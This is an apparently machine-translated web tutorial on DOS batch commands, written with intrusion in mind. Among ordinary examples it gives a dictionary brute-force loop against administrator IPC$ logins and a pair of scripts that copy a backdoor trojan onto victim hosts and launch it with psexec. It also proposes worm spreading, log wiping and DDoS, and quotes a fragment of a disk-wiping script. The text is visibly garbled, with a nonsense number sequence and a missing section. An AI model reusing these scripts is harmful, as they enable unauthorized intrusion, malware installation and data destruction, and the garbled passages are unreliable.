Shulou(Shulou.com)06/03 Report--

This article mainly introduces how to use DOS batch scripting language, which is very detailed and has certain reference value. Friends who are interested must finish reading it.

one。 A brief introduction to simple batch Internal commands

1.Echo command

Turn on or off the request echo feature, or display messages. If there are no parameters, the echo command displays when

Front echo settings.

Grammar.

Echo [{on off}] [message]

Sample:@echo off / echo hello world

In practical application, we will combine this command with the redirection symbol (also known as the pipe symbol, usually with > > ^).

Combined to input some commands into a specific format of the file. This will be reflected in future examples.

2.@ command

Indicates that the command after @ is not displayed, so it is natural during the intrusion process (such as using batch processing to format the enemy's hard disk).

You can't let the other person see the command you're using.

Sample:@echo off

@ echo Now initializing the program,please wait a minite...

@ format X: / q/u/autoset (format is not allowed to use the parameter / y, the good news is that

Microsoft left an autoset parameter for us, and the effect is the same as / y.)

3.Goto command

Specify to jump to the label, and when the tag is found, the program will process the command that starts on the next line.

Syntax: goto label (label is a parameter that specifies the lines in the batch program to be directed to. )

Sample:

If {% 1} = = {} goto noparms

If {% 2} = {} goto noparms (if you don't understand the if,% 1,% 2 here, skip first, and then

There will be a detailed explanation. )

@ Rem check parameters if null show usage

: noparms

Echo Usage: monitor.bat ServerIP PortNumber

Goto end

The name of the label can be chosen at will, but it is better to have a meaningful letter, preceded by a letter: used to indicate the word

The mother is the tag, and the goto command is based on this: to find the next step to jump there. You'd better have some instructions so that you don't

People seem to understand your intentions.

4.Rem command

Comment command, which is equivalent to / *-* / in C language, is not executed, but acts as an annotation.

For others to read and for yourself to revise in the future.

Rem Message

Sample:@Rem Here is the description.

5.Pause command

When you run the Pause command, the following message is displayed:

Press any key to continue. . .

Sample:

@ echo off

: begin

Copy aRom back. * d:\

Echo Please put a new disk into driver A

Pause

Goto begin

In this example, all files on disk in drive An are copied to d:\ back. Displayed comment hint

When you put another disk in drive A, the pause command suspends the program so that you can replace the disk, and then press any

Italian key to continue processing.

6.Call command

Calls from one batch program to another without terminating the parent batch program. Call command accept

The label used as the target of the call. If you use Call outside of a script or batch file, it will not work on the command line.

Grammar.

Call [[Drive:] [Path] FileName [BatchParameters]] [: label [arguments]]

Parameters.

[Drive:} [Path] FileName

Specifies the location and name of the batch program to be called. Filename parameters must have .bat or .cmd extensions

First name.

7.start command

Call external programs, all DOS commands and command-line programs can be called by the start command.

Common parameters of intrusion:

Window minimization at the beginning of MIN

SEPARATE starts a 16-bit Windows program in a separate space

HIGH starts the application in the HIGH priority category

REALTIME starts the application in the REALTIME priority category

WAIT starts the application and waits for it to finish

Parameters these are the parameters passed to the command / program

When the executing application is a 32-bit GUI application, CMD.EXE returns a command fetch without waiting for the application to terminate.

Show. If executed within a command script, the new behavior does not occur.

8.choice command

Choice uses this command to allow the user to enter a character to run different commands. / should be added when in use

C: parameter, c: should write the characters that can be prompted for input, with no space between them. Its return code is 1234...

Such as: choice / c:dme defrag,mem,end

Will be displayed

Defrag,mem,end [D,M,E]?

Sample:

The Sample.bat is as follows:

@ echo off

Choice / c:dme defrag,mem,end

If errorlevel 3 goto defrag (the error code with the highest value should be judged first)

If errorlevel 2 goto mem

If errotlevel 1 goto end

: defrag

C:\ dos\ defrag

Goto end

: mem

Mem

Goto end

: end

Echo good bye

After this file is run, it will display defrag,mem,end [DJI MJE]? The user can select d m e, and then the if statement will make

To judge, d represents the execution of the program segment labeled defrag, m represents the execution of the program segment labeled mem, and e represents the execution label

The program segment with the number end, each of which finally jumps to the end label with goto end, and then the program will display

Good bye, the file ends.

9.If command

If said it would determine whether the specified conditions were met and then decide to execute different orders. There are three formats:

1. If "parameter" = = "string" command to be executed

If the parameter is equal to the specified string, the condition holds, run the command, otherwise run the next sentence. (note that there are two

Equal sign)

For example, if "% 1" = "a" format a:

If {% 1} = = {} goto noparms

If {% 2} = = {} goto noparms

2. If exist file name command to be executed

If there is a specified file, the condition is established, run the command, otherwise run the next sentence.

Such as if exist config.sys edit config.sys

3. If errorlevel / if not errorlevel digital commands to be executed

If the return code is equal to the specified number, the condition holds, run the command, otherwise run the next sentence.

Such as if errorlevel 2 goto x2

When the DOS program runs, it will return a number to DOS, which is called error code errorlevel or return code.

The return code is 0,1.

10.for command

The for command is a complex command, which is mainly used for parameters to cycle through the command within a specified range.

Use% variable to specify variables when using the FOR command in a batch file

For {% variable%% variable} in (set) do command [CommandLineOptions]

% variable specifies a parameter that can be replaced by a single letter.

(set) specify a file or group of files. You can use wildcards.

Command specifies the commands to be executed on each file.

Command-parameters specifies parameters or command line switches for specific commands.

Use% variable to specify variables when using the FOR command in a batch file

Instead of using% variable. Variable names are case-sensitive, so% I is different from% I

If the command extension is enabled, the following additional FOR command formats are subject to

Support:

FOR / D% variable IN (set) DO command [command-parameters]

If the set contains wildcards, the assignment matches the directory name, not the file name.

FOR / R [[drive:] path]% variable IN (set) DO command [command-

Check the directory tree rooted in [drive:] path and point to the FOR statement in each directory. If not after / R

If there is a specified directory, the current directory is used. If the set is only a single point (.) Character, the directory tree is enumerated.

FOR / L% variable IN (start,step,end) DO command [command-para

This set represents a sequence of numbers from beginning to end in increments.

Therefore, the sequence 1, 2, 3, 4, 5, 1, 2, 3, 4, 5, 5, 5, 4, 4, 5, 5, 5, 4, 4, 5, 5, 5, 5, 4, 4, 5, 5, 5, 4, 4, 5, 5, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 5, 1, 4, 4, 4, 4, 5, 5, 4, 4, 4, 5, 5, 4, 4, 4, 5, 5, 4, 4, 4, 5, 1, 4,

Sequence (5-4-3-21).

FOR / F ["options"]% variable IN (file-set) DO command

FOR / F ["options"]% variable IN ("string") DO command

FOR / F ["options"]% variable IN (command) DO command

Or, if you have the usebackq option:

FOR / F ["options"]% variable IN (file-set) DO command

FOR / F ["options"]% variable IN ("string") DO command

FOR / F ["options"]% variable IN (command) DO command

Filenameset is one or more file names. Continue to the filenameset

Before the next file, each file has been opened, read, and processed.

Processing involves reading the file, dividing it into lines of text, and then dividing each line

Parse to zero or more symbols. Then use the value of the symbol string variable found

Call the For loop. By default, / F is separated by each line of each file

The first blank symbol of the Skip the blank line. You can specify the optional "options"

Parameter overrides the default resolution operation. This quoted string consists of one or more

Specify keywords for different parsing options. These keywords are:

Eol=c-refers to the end of a line comment character (just one)

Skip=n-refers to the number of lines ignored at the beginning of the file.

Delims=xxx-refers to the delimiter set. This replaces spaces and tabs

Default delimiter set.

Tokens=x,y,m-n-refers to which symbol of each line is passed to each iteration

The for itself. This results in an additional variable name

The format is a range. Specify m by nth symbol

The last character in a symbol string, an asterisk.

Then the extra variable will be parsed in the last symbol.

Assign and accept reserved text for lines.

Usebackq-specifies that the new syntax has been used in the following class cases:

Executes a string with quotation marks as a command and the quote character is a text string command and allows you to use it in fi

Double quotation marks expand the file name.

Sample1:

FOR / F "eol=; tokens=2,3* delims=," I in (myfile.txt) do command

It parses each line in myfile.txt, ignores those that begin with a semicolon, and sets the second and first of each line

Three symbols are passed to the for program body; delimit symbols with commas and / or spaces. Please note that the language of this for program body

The sentence references% I to get the second symbol,% j to get the third symbol, and% k to get the third symbol.

All remaining symbols of the For file names with spaces, you need to enclose the file name in double quotes. In order to use this

Way to use double quotes, you also need to use the usebackq option, otherwise, double quotes will be understood as used as a definition

Of a string to be parsed.

% I is specified specifically in the for statement,% j and% k are specified through the

The tokens= option is specifically explained. You can specify up to 26 symbols through a tokens= line, as long as

Do not attempt to describe a variable that is higher than the letter z or Z. Remember that FOR variables are single-letter, case-sensitive, and global

At the same time, not more than 52 are in use.

You can also use FOR / F parsing logic on adjacent strings by putting f between parentheses in single quotation marks

Enclose the ilenameset. In this way, the string is treated as a single input line in a file.

Finally, you can analyze the output of the command with the FOR / F command. The method is to change the filenames between the parentheses

Et becomes an anti-parenthetical string. The string will be passed to a child CMD.EXE as a command line, and its output will be

It is captured into memory and analyzed as a file. Therefore, the following examples:

FOR / F "usebackq delims=="% I IN (`set`) DO @ echo% I

Enumerates the environment variable names in the current environment.

In addition, the replacement of FOR variable references has been enhanced. You can now use the following

Option syntax:

~ I-remove any quotation marks ("), expand% I

% ~ fI-extends% I to a fully qualified pathname

% ~ dI-expand% I to only one drive letter

% ~ pI-extends% I to only one path

% ~ nI-extends% I to only one file name

% ~ xI-extends% I to only one file extension

% ~ sI-the extended path contains only short names

% ~ aI-extends% I to the file attributes of the file

% ~ tI-extends% I to the date / time of the file

% ~ zI-extends% I to the size of the file

% ~ $PATH:I-find the directory listed in the path environment variable and expand% I to the first fully qualified one found

The name of the. If the environment variable is not defined, or if the file is not found, this key combination expands the empty string

You can combine modifiers to get multiple results:

% ~ dpI-extends% I to only one drive letter and path

% ~ nxI-extends% I only to a file name and extension

% ~ fsI-only extends% I to a full pathname with a short name

% ~ dp$PATH:i-find the directory listed in the path environment variable and expand% I to the first drive found

Number and path.

% ~ ftzaI-extends% I to DIR with similar output lines

In the above example,% I and PATH can be replaced with other valid values. % ~ Grammar

Terminate with a valid FOR variable name. Selecting uppercase variable names similar to% I is easier to read and avoid being indistinguishable from large ones.

Lowercase key combinations are confused.

The above is the official help of MS. Let's give a few examples to illustrate the use of the For command in an intrusion.

Sample2:

Use the For command to crack the brute force password of a target Win2k host.

We use net use\ ip\ ipc$ "password" / u: "administrator" to try this with the target host.

Connect and write down the password when it is successful.

The main command is one: for / fi% in (dict.txt) do net use\\ ip\ ipc$ "I%" / u: "

Administrator "

The password of admin is represented by I%. In dict.txt, the value of I% is connected with the net use command. And then put

The running result of the program is passed to the find command--

For / fi%% in (dict.txt) do net use\\ ip\ ipc$ "I%%" / u: "administrator" fi

Nd ": command completed successfully" > D:\ ok.txt, so ko.

Sample3:

Have you ever had a lot of broilers waiting for you to plant backdoor + Trojans? When the number is very large, originally

A very happy thing will become very depressed:). At the beginning of the article, we talked about using batch files, which can simplify daily or

Repetitive tasks. So how to achieve it? Ha ha, you will understand if you look at it.

There is only one main command: (when using the FOR command in a batch file, the specified variable uses% variab

Le)

@ for / f "tokens=1,2,3 delims="% I in (victim.txt) do start call door.bat

I j k

For the use of tokens, see the sample1 above, where it means to pass the contents of the victim.txt sequentially

Give the parameter I j k in door.bat.

And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy Trojan + backdoor to vict

Im, and then use the return code (If errorlever =) to screen the hosts that have successfully planted the backdoor, and echo it out, or e

Cho to the specified file.

Delims= indicates that the content in the vivtim.txt is separated by a space. I want to see this, and you must understand this.

What the content in victim.txt looks like. Should be arranged according to the objects represented by% I% j% k, which is generally

Ip password username .

Prototype code:

-cut here then save as a batchfile (I call it main.bat)--

-

@ echo off

@ if "% 1" = "" goto usage

@ for / f "tokens=1,2,3 delims="% I in (victim.txt) do start call IPChack.

Bat I j k

@ goto end

: usage

@ echo run this batch in dos modle.or just double-click it.

: end

-cut here then save as a batchfile (I call it main.bat)--

-

-cut here then save as a batchfile (I call it door.bat)

-

@ net use\% 1\ ipc$% 3 / u: "% 2"

@ if errorlevel 1 goto failed

@ echo Trying to establish the IPC$ connection. OK

@ copy windrv32.exe\% 1\ admin$\ system32 & & if not errorlevel 1 echo IP% 1 U

SER 2 PWD 3 > > ko.txt

@ psexec\% 1 c:\ winnt\ system32\ windrv32.exe

@ psexec\ 1 net start windrv32 & & if not errorlevel 1 echo 1 Backdoored >

> ko.txt

: failed

@ echo Sorry can not connected to the victim.

-cut here then save as a batchfile (I call it door.bat)-

-

This is just a prototype of automatic backdoor batch processing, two batches and backdoor programs (Windrv32.exe), P

Sexec.exe needs to be placed in a unified directory. Batch processing content

It can also be extended, for example, add the function of clearing log + DDOS, and add the function of adding users on a regular basis.

Make it have the function of automatic propagation (worm). There is no more description here. Interested friends can study it on their own.

two。 How to use parameters in batch files

Parameters can be used in batch processing, generally from 1% to 9%. When there are multiple parameters, you need to use shift to move them.

This kind of situation is rare, so we will not consider it.

Sample1:fomat.bat

@ echo off

If "% 1" = = "a" format a:

: format

@ format a:/q/u/auotset

@ echo please insert another disk to driver A.

@ pause

@ goto fomat

This example is used to format several floppy disks in succession, so you need to type fomat.bat an in the dos window when using it.

Ha ha, it seems to be a little superfluous ~ ^ _ ^

Sample2:

When we want to set up an IPC$ connection, we always have to enter a long list of commands, but we may have the wrong number, so we

Why not write some fixed commands into a batch and assign the broiler ip password username as a parameter to this

A batch so that you don't have to type commands every time.

@ echo off

@ net use\ 1%\ ipc$ "2%" / u: "3%" Note, here PASSWORD is the second parameter.

@ if errorlevel 1 echo connection failed

Well, it's relatively easy to use parameters, right? You must have learned ^ _ ^. No.3 when you are so handsome

three。 How to use combined commands (Compound Command)

1. &

Usage: first command & second command [& third command.]

In this way, multiple commands can be executed at the same time, regardless of whether the command is successful or not

Sample:

C:\ > dir z: & dir c:\ Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\ Ex4rch

2002-05-14 23:51

.2002-05-14 23:51

.. 2002-05-14 23:51 14 sometips.gif

3.

Usage: the first command, the second command [the third command.]

In this way, multiple commands can be executed at the same time, and subsequent commands will not be executed when the correct command is executed.

If no correct command appears, all the commands will be executed all the time.

Sample:

C:\ Ex4rch > dir sometips.gif del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:\ Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File (s) 14 bytes

0 Dir (s) 768696320 bytes free

Examples of the use of combined commands:

Sample:

@ copy trojan.exe\% 1\ admin$\ system32 & & if not errorlevel 1 echo IP% 1 US

ER 2 PASS 3 > > victim.txt

Fourth, the use of pipeline commands

1. Command

Usage: the first command, the second command [the third command.]

Use the result of the first command as an argument to the second command, which is common in unix.

Sample:

Time / t > > D:\ IP.log

Netstat-n-p tcp find ": 3389" > D:\ IP.log

Start Explorer

Can you see that? For Terminal Services allows us to customize the starting program for the user to let the user run

Face this bat to get the IP of the logged-in user.

2. > output redirect command

The difference between > and > in redirecting the output of a command or a program to a specific file is that it will clear.

Except for the contents of the original file, the specified file is written, and > > only appends the contents to the specified file without changing it.

The contents of the.

Sample1:

Echo hello world > c:\ hello.txt (stupid example?)

Sample2:

Nowadays, DLL Trojans are very popular. We know that system32 is a good place to play hide-and-seek. Many Trojans have sharpened their heads.

Drill there, DLL horse is no exception, for this we can after the installation of the system and the necessary applications, the

Make a record of the recorded EXE and DLL files:

Run CMD-- to convert the directory to system32--dir * .exe > exeback.txt & dir * .dll > dllback.txt

So that the names of all EXE and DLL files are recorded in exeback.txt and dllback.txt, respectively.

In the future, if an anomaly is found but the problem cannot be found by traditional methods, it is necessary to consider whether the DLL wood has been infiltrated into the system.

The horse is gone.

Then we use the same command to record the EXE and DLL files under system32 to other exeback1.txt and dl

In lback1.txt, then run:

CMD--fc exeback.txt exeback1.txt > diff.txt & fc dllback.txt dllback1.txt > di

Ff.txt. (use the FC command to compare the DLL and EXE files before and after, and enter the results into ne?

Echo.

Echo Regards

Echo.

Echo Munga Bunga

: end

Rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

Rem Author: Munga Bunga-from Australia, the land full of retarded Austra

Lians (help me get out of here).

No.7

Common command

Echo, @, call, pause, rem are the most commonly used commands for batch files, so let's start with them.

Get up. Echo indicates the characters after this command is displayed

Echo off means that all commands that run after this statement do not display the command line itself

@ is similar to echo off, but it is added first to the other command lines, indicating that the command line itself is not displayed at run time.

Call calls another batch file (if you call another batch file directly, you will not be able to execute that file

Execute subsequent commands in the current file)

Pause running this sentence will pause and display Press any key to continue... Wait for the user to press any key before continuing

Rem indicates that the character after this command is an interpretation line, which is not executed, but is only used for future search.

Example: edit the a.bat file with edit, enter the following contents and save it to c:\ a.bat. After executing the batch file, you can

Implementation: write all the files in the root directory to a.txt, start UCDOS, enter WPS and other functions.

The contents of the batch file are as follows: the file represents:

Echo off does not display the command line

Dir c:\ *. * > a.txt writes the list of files on disk c to a.txt

Call c:\ ucdos\ ucdos.bat calls ucdos

Hello, echo. Display "Hello".

Pause pauses and waits for the button to continue

Rem using wps annotations will use wps

Cd ucdos enters the ucdos directory

Wps uses wps

Parameters can also be used in batch files like the C language, which requires only one parameter representation%.

% represents a parameter, which is a string added to the file name when running a batch file. Variables can range from 0 to

% 9dint% 0 represents the file name itself, and the string is represented in the order from% 1 to% 9.

For example, C: under the root directory, the batch processing file name is f.bat and the content is format% 1

Then if you execute C:\ > f a:, what is actually executed is format a:

Another example is C: the name of the batch file under the root directory is t.bat, and the content is type% 1 type% 2.

Then running C:\ > t a.txt b.txt will display the contents of the a.txt and b.txt files sequentially

In addition, every time the computer starts up, it will look for the batch file autoexec.bat, so that it can execute some

Commands to be executed, such as setting the path path, loading mouse drive mouse, disk acceleration smartdrv, etc., can make your

Computers are really automated.

Special command

If goto choice for is a more advanced command in batch files, if you are adept at using these commands

You are an expert in batch processing files. If said that it will determine whether the specified conditions are met, thus deciding to implement a different

Orders. There are three formats:

1. If "parameter" = = "string" command to be executed

If the parameter is equal to the specified string, the condition holds, run the command, otherwise run the next sentence. (note that there are two equal signs

)

For example, if "% 1" = "a" format a:

2. If exist file name command to be executed

If there is a specified file, the condition is established, run the command, otherwise run the next sentence. Such as if exist config.sys

Edit config.sys

3. If errorlevel digital commands to be executed

If the return code is equal to the specified number, the condition holds, run the command, otherwise run the next sentence. Such as if errorleve

L 2 goto x2 DOS program will return a number to DOS when it runs, which is called error code errorlevel or return

Code

When the goto batch file runs here, it jumps to the label specified by goto, which is generally used with if. Such as:

Goto end

: end

Echo this is the end

The label is represented by a string, and the line in which the label is located is not executed.

Choice uses this command to allow the user to enter a character to run different commands. / c: parameter should be added when using

The number, c: should be followed by a prompt for characters that can be entered, with no spaces between them. Its return code is 1234...

Such as: choice / cme defrag,mem,end

Will be displayed

Defrag,mem,end [D,M,E]?

For example, test.bat has the following content:

@ echo off

Choice / cme defrag,mem,end

If errorlevel 3 goto defrag should first judge the error code with the highest value.

If errorlevel 2 goto mem

If errotlevel 1 goto end

Efrag

C:\ dos\ defrag

Goto end

: mem

Mem

Goto end

: end

Echo good bye

After this file is run, it will display defrag,mem,end [DJI MJE]? The user can select d m e, and then the if statement will make

To judge, d means to execute the program segment labeled defrag, m means to execute the program segment labeled mem, and e represents the execution label

For the program segment of end, each segment finally jumps the program to the end label with goto end, and then the program displays go

Od bye, the file ends.

The for loop command executes the same command multiple times as long as the conditions are met.

Format FOR [% f] in (collection) DO [command]

Execute the command as long as the parameter f is within the specified set

If there is a line in a batch file:

For% c in (* .bat * .txt) do type% c

This means that if it is a file that ends in bat or txt, the contents of the file are displayed.

Autoexec.bat

DOS will automatically run the autoexec.bat file when it starts, and we usually load the necessary programs in it.

, such as: path (set path), smartdrv (disk acceleration), mouse (mouse boot), mscdex (optical drive connection),

Doskey (keyboard management), set (setting environment variables), and so on.

If this file is not in the boot disk directory, the computer will ask the user to enter the date and time.

For example, a typical autoexec.bat content is as follows:

@ echo off does not display the command line

There is a directory prompt in front of the prompt $psigg setting prompt

Path c:\ dos;c:\; c:\ windows;c:\ ucdos;c:\ tools set the path

Lh c:\ dos\ doskey.com load keyboard management

Lh c:\ mouse\ mouse.com load mouse management

Lh c:\ dos\ smartdrv.exe load disk acceleration Management

Lh c:\ dos\ mscdex / S / D:MSCD000 / CD-ROM 12 / V load the CD-ROM driver

Set temp=c:\ temp set a temporary directory

IF-EXIST

First, use notepad to create a file with the following contents:

@ echo off

IF EXIST\ AUTOEXEC.BAT TYPE\ AUTOEXEC.BAT

IF NOT EXIST\ AUTOEXEC.BAT ECHO\ AUTOEXEC.BAT does not exist

Save the file as TEST.BAT on disk C

And then execute the command.

C:\ > TEST1.BAT

At this point, it will be displayed if there is anything in the AUTOEXEC.BAT.

Then create another file with the following contents:

@ ECHO OFF

IF EXIST 1 TYPE 1

IF NOT EXIST 1 ECHO 1 does not exist

Also saved on disk C, the file name is TEST2.BAT

And then execute the command.

C:\ > TEST2 AUTOEXEC.BAT

Similarly, it will be displayed if there is anything in the AUTOEXEC.BAT.

Description:

1. IF EXIST is used to test the existence of files in the format of

IF EXIST [path + File name] command

2. 1 in the second file is a parameter, and DOS allows you to pass 9 batch parameter information to the batch file, respectively, 1

-% 9, a little bit like the relationship between arguments and formal parameters.% 1 is a formal parameter and AUTOEXEC.BAT is an actual parameter.

Further, create a file called ABC.BAT, which reads as follows:

IF'% 1' ='A 'ECHO XIAO

IF'% 1' = ='B 'ECHO TIAN

IF'% 1' = ='C 'ECHO XIN

Run C:\ > ABC.BAT ABC when you are finished

C:\ > XIAOTIANXIA appears on the screen

If you execute C:\ > ABC.BAT AB

C:\ > XIAOTIAN appears on the screen

DOS attached an empty string to parameter 3.

You can place NOT between an IF and a condition, instructing IF to execute a command when the condition is false.

Note: this command can be run directly by typing under DOS.

IF-ERRORLEVEL

Use notepad to create a file XIAO.BAT with the following contents

@ ECHO OFF

XCOPY C:\ AUTOEXEC.BAT D:\

IF ERRORLEVEL = 0 ECHO successfully copied the file

Then execute the file

C:\ > XIAO.BAT

If the file copy is successful, the screen will display: copy the file successfully

IF ERRORLEVEL is used to test the return value of its last DOS command. Note that it is only the return value of the previous command.

So the following batch file is incorrect

@ ECHO OFF

XCOPY C:\ AUTOEXEC.BAT D:\

IF ERRORLEVEL = 0 ECHO successfully copied the file

IF ERRORLEVEL = 1 ECHO copy file not found

IF ERRORLEVEL = = 2 ECHO user aborts copy operation through ctrl-c

IF ERRORLEVEL = = 3 ECHO preset error prevents file copy operation

IF ERRORLEVEL = = 4 error writing disk during ECHO copy

Regardless of whether the copy is successful or not, the following:

Copy file not found

The user aborts the copy operation through ctrl-c

Preset error prevents file copy operation

Write disk error during copy

Will be displayed.

Note: this command can be entered directly under DOS.

For example:

C:\ > XCOPY\ AUTOEXEC.BAT D:\

It can then be executed.

C:\ > IF ERRORLEVEL = 0 ECHO successfully copied the file

If successful, the screen displays:

Copy the file successfully

Here are the return values of several commonly used commands:

Backup

Meaning of export status

0 backup successful

1 backup file not found

2 File sharing conflicts prevent backups from being completed

3. Users abort backup with ctrl-c

4 the backup operation was aborted due to a fatal error

Diskcomp

Meaning of export status

0 disk is the same.

One set is different.

2 the user aborts the comparison operation through ctrl-c

3 the comparison operation is aborted due to a fatal error

4 comparison of preset error abort

Diskcopy

Meaning of export status

0 disk copy operation succeeded

1 non-fatal disk read / write error

2 the user ends the copy operation through ctrl-c

3 abort the copy of the disk due to a fatal processing error

4 preset error prevents copy operation

Format

Meaning of export status

0 formatted successfully

3 the user aborts the formatting process through ctrl-c

4 the format was aborted due to a fatal processing error

5 prompting "proceed with format (yzone)?" The next user types n to end.

Xopy

Meaning of export status

0 successfully copied the file

1 copy file not found

2 the user aborts the copy operation through ctrl-c

4 preset error prevents file copy operation

5 disk writing error during copy

IF STRING = = STRING

First, use notepad to create a file called XIAO.BAT with the following contents:

@ echo off

IF "% 1" = = "A" FORMAT A:

Continue to execute

C:\ > XIAO A

The content of whether to format the A: disk appears on the screen.

The format of this statement is

IF "parameter" = = "string" command to be executed

If the parameter is equal to the specified string, the condition holds, run the command, otherwise run the next sentence.

Note: this is the only way to use it directly under DOS

C:\ > IF "A" = "A" FORMAT A:

meaningless.

GOTO

First, use notepad to create a file called XIAO.BAT with the following contents:

@ ECHO OFF

IF EXIST C:\ AUTOEXEC.BAT GOTO KB

: KB

COPY C:\ AUTOEXEC.BAT D:\

: DONE

Note:

1. The label is preceded by a colon (:)

2. The last line of the label is: DONG

3. DOS supports labels with a maximum length of eight digits. When you cannot distinguish between two labels, you will jump to the nearest label.

FOR

First, use notepad to create a file called XIAO.BAT with the following contents:

@ ECHO OFF

FOR% C IN (* .BAT * .TXT * .SYS) DO TYPE% C

Continue to execute

C: > XIAO.BAT

After execution, all the contents of the C: disk files with the extension of * .BAT * .TXT * .SYS will be displayed on the screen.

Of course, hidden files are not included.

Description: the character% C represents the FOR command variable, and FOR supports wildcards.

These are all the contents of this article entitled "how to use DOS batch scripting language". Thank you for reading! Hope to share the content to help you, more related knowledge, welcome to follow the industry information channel!

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